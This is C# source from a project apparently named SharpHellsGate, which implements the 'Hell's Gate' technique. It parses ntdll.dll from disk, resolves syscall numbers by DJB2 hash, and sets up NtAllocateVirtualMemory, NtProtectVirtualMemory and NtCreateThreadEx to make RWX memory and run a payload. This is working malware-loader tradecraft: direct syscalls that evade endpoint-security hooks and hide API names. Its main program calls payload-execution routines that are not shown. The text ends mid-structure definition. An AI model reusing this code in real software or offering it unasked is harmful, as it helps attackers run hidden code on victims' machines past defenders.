/// Used to extract structures and find system calls.
/// </summary>
public class SystemModule : MemoryUtil {
/// <summary>
/// IMAGE_DOS_HEADER structure of the NTDLL module.
/// </summary>
public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; }
/// <summary>
/// IMAGE_NT_HEADERS64 structure of the NTDLL module.
/// </summary>
public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; }
/// <summary>
/// IMAGE_SECTION_HEADER structure from the NTDLL module.
/// </summary>
public List<Structures.IMAGE_SECTION_HEADER> ModuleSectionHeaders { get; private set; }
/// <summary>
/// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module.
/// </summary>
public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; }
/// <summary>
/// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure.
/// </summary>
public Int64 ModuleExportDirectoryOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' name.
/// </summary>
public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' address.
/// </summary>
public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; }
/// <summary>
/// Location in the memory stream of the exported functions' ordinal.
/// </summary>
public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; }
/// <summary>
/// Name of the module. Will be NTDLL.
/// </summary>
public string ModuleName { get; private set; }
/// <summary>
/// Path of the module. Will be %WINDIR%\System32\ntdll.dll
/// </summary>
public string ModulePath { get; private set; }
/// <summary>
/// .ctor
/// </summary>
/// <param name="name">Name of the module</param>
public SystemModule(string name) : base() {
this.ModuleName = name;
this.ModulePath = $"{Environment.SystemDirectory}\\{name}";
this.ModuleSectionHeaders = new List<Structures.IMAGE_SECTION_HEADER>() { };
this.LoadModule();
}
/// <summary>
/// Load the module into a memory stream.
/// </summary>
/// <returns>Whether the loading process was a success.</returns>
public bool LoadModule() {
if (string.IsNullOrEmpty(this.ModuleName)) {
Util.LogError("Module name not provided");
return false;
}
if (!File.Exists(this.ModulePath)) {
Util.LogError($"Unable to find module: {this.ModuleName}");
return false;
}
ReadOnlySpan<byte> ModuleBlob = File.ReadAllBytes(this.ModulePath);
if (ModuleBlob.Length == 0x00) {
Util.LogError($"Empty module content: {this.ModuleName}");
return false;
}
base.ModuleStream = new MemoryStream(ModuleBlob.ToArray());
return true;
}
/// <summary>
/// Reload all structures.
/// </summary>
/// <returns>Whether all structures were successfully reloaded.</returns>
public bool LoadAllStructures() {
if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER)))
return false;
if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64)))
return false;
if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections)
return false;
if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)))
return false;
return true;
}
/// <summary>
/// Get the _IMAGE_DOS_HEADERstructure from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) {
if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache)
return this.ModuleDOSHeader;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
this.ModuleDOSHeader = base.GetStructureFromBlob<Structures.IMAGE_DOS_HEADER>(0);
if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) {
Util.LogError("Invalid DOS header signature");
return default;
}
return this.ModuleDOSHeader;
}
/// <summary>
/// Get the IMAGE_NT_HEADERS64 structure from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) {
if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache)
return this.ModuleNTHeaders;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)))
this.GetModuleDOSHeader();
this.ModuleNTHeaders = base.GetStructureFromBlob<Structures.IMAGE_NT_HEADERS64>(this.ModuleDOSHeader.e_lfanew);
if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) {
Util.LogError("Invalid NT headers signature");
return default;
}
return this.ModuleNTHeaders;
}
/// <summary>
/// Get list of _IMAGE_SECTION_HEADER structures from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>The list of _IMAGE_SECTION_HEADER structures.</returns>
public List<Structures.IMAGE_SECTION_HEADER> GetModuleSectionHeaders(bool ReloadCache = false) {
if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache)
return this.ModuleSectionHeaders;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER)))
this.GetModuleNTHeaders();
for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) {
Int64 iSectionOffset = this.GetModuleSectionOffset(cx);
Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob<Structures.IMAGE_SECTION_HEADER>(iSectionOffset);
if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER)))
this.ModuleSectionHeaders.Add(ImageSection);
}
return this.ModuleSectionHeaders;
}
/// <summary>
/// Get a _IMAGE_SECTION_HEADER structure by name.
/// </summary>
/// <param name="name">The name of the section.</param>
/// <returns>The _IMAGE_SECTION_HEADER structure if exists.</returns>
public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) {
if (name.Length > 8) {
Util.LogError("Invalid section name");
return default;
}
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleSectionHeaders.Count == 0x00)
this.GetModuleSectionHeaders();
return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault();
}
/// <summary>
/// Get the Export Address Table (aka EAT) from the module.
/// </summary>
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
/// <returns>the _IMAGE_EXPORT_DIRECTORY structure</returns>
public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) {
if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache)
return this.ModuleExportDirectory;
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)))
this.GetModuleNTHeaders();
if (this.ModuleSectionHeaders.Count == 0x00)
this.GetModuleSectionHeaders();
this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress);
this.ModuleExportDirectory = base.GetStructureFromBlob<Structures.IMAGE_EXPORT_DIRECTORY>(this.ModuleExportDirectoryOffset);
if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) {
Util.LogError("Invalid export address table (EAT).");
return default;
}
// Parse all functions
this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames);
this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions);
this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals);
return this.ModuleExportDirectory;
}
/// <summary>
/// Get the address, name, system call for a given function hash.
/// </summary>
/// <param name="FunctionHash">DJB2 function hash.</param>
/// <returns></returns>
public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) {
if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00)
this.GetModuleExportDirectory();
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
Util.LogError("Module not loaded");
return default;
}
Util.APITableEntry Entry = new Util.APITableEntry {
Hash = FunctionHash
};
for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) {
UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx));
string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName));
if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) {
UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1)));
Span<byte> opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress));
if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) {
Entry.Name = FunctionName;
Entry.Address = PtrFunctionAdddress;
Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]);
return Entry;
}
}
}
return default;
}
/// <summary>
/// Get the offset of a _IMAGE_SECTION_HEADER structure.
/// </summary>
/// <param name="cx">The section to get.</param>
/// <returns>The _IMAGE_SECTION_HEADER structure.</returns>
private Int64 GetModuleSectionOffset(Int16 cx)
=> this.ModuleDOSHeader.e_lfanew
+ Marshal.SizeOf<Structures.IMAGE_FILE_HEADER>()
+ this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader
+ sizeof(Int32) // sizeof(DWORD)
+ (Marshal.SizeOf<Structures.IMAGE_SECTION_HEADER>() * cx);
/// <summary>
/// Convert a relative virtual address (RVA) into an offset.
/// </summary>
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
/// <param name="SectionHeader">The section in which the relative virtual address (RVA) points to.</param>
/// <returns>The offset.</returns>
private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData;
/// <summary>
/// Convert a relative virtual address (RVA) into an offset.
/// </summary>
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
/// <returns>The offset.</returns>
private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva));
/// <summary>
/// Get which image section is which a relative virtual address (RVA) points to.
/// </summary>
/// <param name="rva">The RVA</param>
/// <returns>The _IMAGE_SECTION_HEADER structure</returns>
private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First();
}
}

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using System;
using System.Collections.Generic;
using SharpHellsGate.Module;
namespace SharpHellsGate {
/// <summary>
/// Main class.
/// </summary>
public class Program {
/// <summary>
/// Entry point of the program.
/// </summary>
/// <param name="args">Command line arguments.</param>
static void Main(string[] args) {
Util.LogInfo("Copyright (C) 2020 Paul Laine (@am0nsec)");
Util.LogInfo("C# Implementation of the Hell's Gate VX Technique");
Util.LogInfo(" --------------------------------------------------\n", 0, "");
// Only works for x86
if (IntPtr.Size != 8) {
Util.LogError("Project only tested in x64 context.\n");
return;
}
// Load the module and get everything ready
SystemModule ntdll = new SystemModule("ntdll.dll");
ntdll.LoadAllStructures();
// Resolve all the system calls
Dictionary<UInt64, Util.APITableEntry> APITable = new Dictionary<ulong, Util.APITableEntry>() {
{ Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) },
{ Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) },
{ Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) },
{ Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) }
};
ntdll.Dispose();
Util.LogInfo($"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}");
Util.LogInfo($"NtProtectVirtualMemory: 0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}");
Util.LogInfo($"NtWaitForSingleObject: 0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}");
Util.LogInfo($"NtCreateThreadEx: 0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\n");
HellsGate gate = new HellsGate(APITable);
gate.GenerateRWXMemorySegment();
gate.Payload();
return;
}
}
}

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Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj Normal file
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<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
</Project>

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using System;
using System.Diagnostics;
namespace SharpHellsGate {
/// <summary>
/// Util class. Used mainly for debug output.
/// </summary>
public class Util {
/// <summary>
/// Structure used to store the name, address, system call and hash of a native Windows function.
/// </summary>
public struct APITableEntry {
public string Name;
public Int64 Address;
public Int16 Syscall;
public UInt64 Hash;
}
/// <summary>
/// DJB2 Hash of the NtAllocateVirtualMemory function name.
/// </summary>
public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b;
/// <summary>
/// DJB2 Hash of the NtProtectVirtualMemory function name.
/// </summary>
public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37;
/// <summary>
/// DJB2 Hash of the NtCreateThreadEx function name.
/// </summary>
public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f;
/// <summary>
/// DJB2 Hash of the NtWaitForSingleObject function name.
/// </summary>
public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb;
/// <summary>
/// Log an informational information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
public static void LogInfo(string msg, int indent = 0, string prefix = "[>]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Blue);
#endif
}
/// <summary>
/// Log an error information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
public static void LogError(string msg, int indent = 0, string prefix = "[-]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Red);
#endif
}
/// <summary>
/// Log a success information.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix</param>
public static void LogSuccess(string msg, int indent = 0, string prefix = "[+]") {
#if DEBUG
if (string.IsNullOrEmpty(msg))
return;
LogMessage(msg, prefix, indent, ConsoleColor.Green);
#endif
}
/// <summary>
/// Log a string to the console and to the debugger.
/// </summary>
/// <param name="msg">Message to log.</param>
/// <param name="indent">Indentation level.</param>
/// <param name="prefix">Message prefix.</param>
/// <param name="color">The color of the prifix on the console.</param>
private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) {
// Indent
Console.Write(new String(' ', indent));
Trace.Write(new String(' ', indent));
// Color and prefix
Trace.Write(prefix);
Console.ForegroundColor = color;
Console.Write(prefix);
Console.ResetColor();
// Message
Console.WriteLine($" {msg}");
Trace.WriteLine($" {msg}");
}
/// <summary>
/// Revisited DJB2 algorithm.
/// </summary>
/// <param name="FunctionName">The ASCII name of a function.</param>
/// <returns>The djb2 hash of the function name.</returns>
public static UInt64 GetFunctionDJB2Hash(string FunctionName) {
if (string.IsNullOrEmpty(FunctionName))
return 0;
UInt64 hash = 0x7734773477347734;
foreach (char c in FunctionName)
hash = ((hash << 0x5) + hash) + (byte)c;
return hash;
}
}
}

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using System;
using System.Runtime.InteropServices;
namespace SharpHellsGate.Win32 {
/// <summary>
/// Contains all the delegates used to execute the system calls.
/// </summary>
public class DFunctions {
/// <summary>
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
/// </summary>
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
UInt32 AllocationType,
UInt32 Protect
);
/// <summary>
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
/// </summary>
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
/// <param name="OldAccessProtection">Receive previous protection.</param>
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
out UInt32 OldProtect
);
/// <summary>
/// Managed wrapper around the NtCreateThreadEx native Windows function.
/// </summary>
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
/// <param name="lpStartAddress">Address of the function to execute.</param>
/// <param name="lpParameter">Parameters to pass to the function.</param>
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
/// <param name="StackZeroBits"></param>
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
/// <param name="lpBytesBuffer"></param>
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtCreateThreadEx(
ref IntPtr hThread,
uint DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
uint StackZeroBits,
uint SizeOfStackCommit,
uint SizeOfStackReserve,
IntPtr lpBytesBuffer
);
/// <summary>
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
/// </summary>
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtWaitForSingleObject(
IntPtr ObjectHandle,
bool Alertable,
ref Structures.LARGE_INTEGER TimeOut
);
}
}

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using System;
namespace SharpHellsGate.Win32 {
/// <summary>
/// Windows Macros used for error and success codes and bitmasks.
/// </summary>
public static class Macros {
// NTSTATUS
public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF;
public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF;
public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF;
public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF;
// Common NTSTATUS
public static UInt32 STATUS_SUCCESS { get; } = 0x00000000;
public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001;
public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002;
// Portable Executable
public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D; // MZ
public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00
// Pseudo-Handles
public static IntPtr GetCurrentProcess() => new IntPtr(-1);
public static IntPtr GetCurrentThread() => new IntPtr(-2);
public static IntPtr GetCurrentProcessToken() => new IntPtr(-4);
public static IntPtr GetCurrentThreadToken() => new IntPtr(-5);
public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6);
// Page and Memory permissions
public static UInt32 PAGE_NOACCESS { get; } = 0x01;
public static UInt32 PAGE_READONLY { get; } = 0x02;
public static UInt32 PAGE_READWRITE { get; } = 0x04;
public static UInt32 PAGE_WRITECOPY { get; } = 0x08;
public static UInt32 PAGE_EXECUTE { get; } = 0x10;
public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20;
public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40;
public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80;
public static UInt32 PAGE_GUARD { get; } = 0x100;
public static UInt32 PAGE_NOCACHE { get; } = 0x200;
public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400;
public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800;
public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000;
public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000;
public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000;
public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000;
public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000;
public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000;
public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000;
public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000;
public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000;
public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000;
public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000;
public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000;
public static UInt32 MEM_COMMIT { get; } = 0x00001000;
public static UInt32 MEM_RESERVE { get; } = 0x00002000;
public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000;
public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000;
public static UInt32 MEM_RESET { get; } = 0x00080000 ;
public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000;
public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000;
public static UInt32 MEM_PHYSICAL { get; } = 0x00400000;
public static UInt32 MEM_ROTATE { get; } = 0x00800000;
public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000;
public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000;
public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000;
public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000;
public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL);
public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001;
public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001;
public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002;
public static UInt32 MEM_DECOMMIT { get; } = 0x00004000;
public static UInt32 MEM_RELEASE { get; } = 0x00008000;
public static UInt32 MEM_FREE { get; } = 0x00010000;
}
}

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using System;
using System.Runtime.InteropServices;
namespace SharpHellsGate.Win32 {
public static class Structures {
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_DOS_HEADER {
public UInt16 e_magic; /*+0x000*/
public UInt16 e_cblp; /*+0x002*/
public UInt16 e_cp; /*+0x004*/
public UInt16 e_crlc; /*+0x006*/
public UInt16 e_cparhdr; /*+0x008*/
public UInt16 e_minalloc; /*+0x00a*/
public UInt16 e_maxalloc; /*+0x00c*/
public UInt16 e_ss; /*+0x00e*/
public UInt16 e_sp; /*+0x010*/
public UInt16 e_csum; /*+0x012*/
public UInt16 e_ip; /*+0x014*/
public UInt16 e_cs; /*+0x016*/
public UInt16 e_lfarlc; /*+0x018*/
public UInt16 e_ovno; /*+0x01a*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public UInt16[] e_res; /*+0x01c*/
public UInt16 e_oemid; /*+0x024*/
public UInt16 e_oeminfo; /*+0x026*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public UInt16[] e_res2; /*+0x028*/
public UInt32 e_lfanew; /*+0x03c*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER {
public UInt16 Machine; /*+0x000*/
public UInt16 NumberOfSections; /*+0x002*/
public UInt32 TimeDateStamp; /*+0x004*/
public UInt32 PointerToSymbolTable; /*+0x008*/
public UInt32 NumberOfSymbols; /*+0x00c*/
public UInt16 SizeOfOptionalHeader; /*+0x010*/
public UInt16 Characteristics; /*+0x012*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_DATA_DIRECTORY {
public UInt32 VirtualAddress; /*+0x000*/
public UInt32 Size; /*+0x004*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64 {
public UInt16 Magic; /*+0x000*/
public Byte MajorLinkerVersion; /*+0x002*/
public Byte MinorLinkerVersion; /*+0x003*/
public UInt32 SizeOfCode; /*+0x004*/
public UInt32 SizeOfInitializedDatal; /*+0x008*/
public UInt32 SizeOfUninitializedData; /*+0x00c*/
public UInt32 AddressOfEntryPoint; /*+0x010*/
public UInt32 BaseOfCode; /*+0x014*/
public UInt64 ImageBasel; /*+0x018*/
public UInt32 SectionAlignment; /*+0x020*/
public UInt32 FileAlignment; /*+0x024*/
public UInt16 MajorOperatingSystemVersion; /*+0x028*/
public UInt16 MinorOperatingSystemVersion; /*+0x02a*/
public UInt16 MajorImageVersion; /*+0x02c*/
public UInt16 MinorImageVersion; /*+0x02e*/
public UInt16 MajorSubsystemVersion; /*+0x030*/
public UInt16 MinorSubsystemVersion; /*+0x032*/
public UInt32 Win32VersionValue; /*+0x034*/
public UInt32 SizeOfImage; /*+0x038*/
public UInt32 SizeOfHeaders; /*+0x03c*/
public UInt32 CheckSum; /*+0x040*/
public UInt16 Subsystem; /*+0x044*/
public UInt16 DllCharacteristics; /*+0x046*/
public UInt64 SizeOfStackReserve; /*+0x048*/
public UInt64 SizeOfStackCommit; /*+0x050*/
public UInt64 SizeOfHeapReserve; /*+0x058*/
public UInt64 SizeOfHeapCommit; /*+0x060*/
public UInt32 LoaderFlags; /*+0x068*/
public UInt32 NumberOfRvaAndSizes; /*+0x06c*/
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory; /*+0x070*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_NT_HEADERS64 {
public UInt32 Signature; /*+0x000*/
public IMAGE_FILE_HEADER FileHeader; /*+0x004*/
public IMAGE_OPTIONAL_HEADER64 OptionalHeader; /*+0x018*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_EXPORT_DIRECTORY {
public UInt32 Characteristics; /*+0x000*/
public UInt32 TimeDateStamp; /*+0x004*/
public UInt16 MajorVersion; /*+0x008*/
public UInt16 MinorVersion; /*+0x00a*/
public UInt32 Name; /*+0x00c*/
public UInt32 Base; /*+0x010*/
public UInt32 NumberOfFunctions; /*+0x014*/
public UInt32 NumberOfNames; /*+0x018*/
public UInt32 AddressOfFunctions; /*+0x01c*/
public UInt32 AddressOfNames; /*+0x020*/
public UInt32 AddressOfNameOrdinals; /*+0x024*/
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_SECTION_HEADER {
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
public string Name; /*+0x000*/
public UInt32 Misc; /*+0x008*/
public UInt32 VirtualAddress; /*+0x00c*/
public UInt32 SizeOfRawData; /*+0x010*/
public UInt32 PointerToRawData; /*+0x014*/
public UInt32 PointerToRelocations; /*+0x018*/
public UInt32 PointerToLinenumbers; /*+0x01c*/
public UInt16 NumberOfRelocations; /*+0x020*/
public UInt16 NumberOfLinenumbers; /*+0x022*/
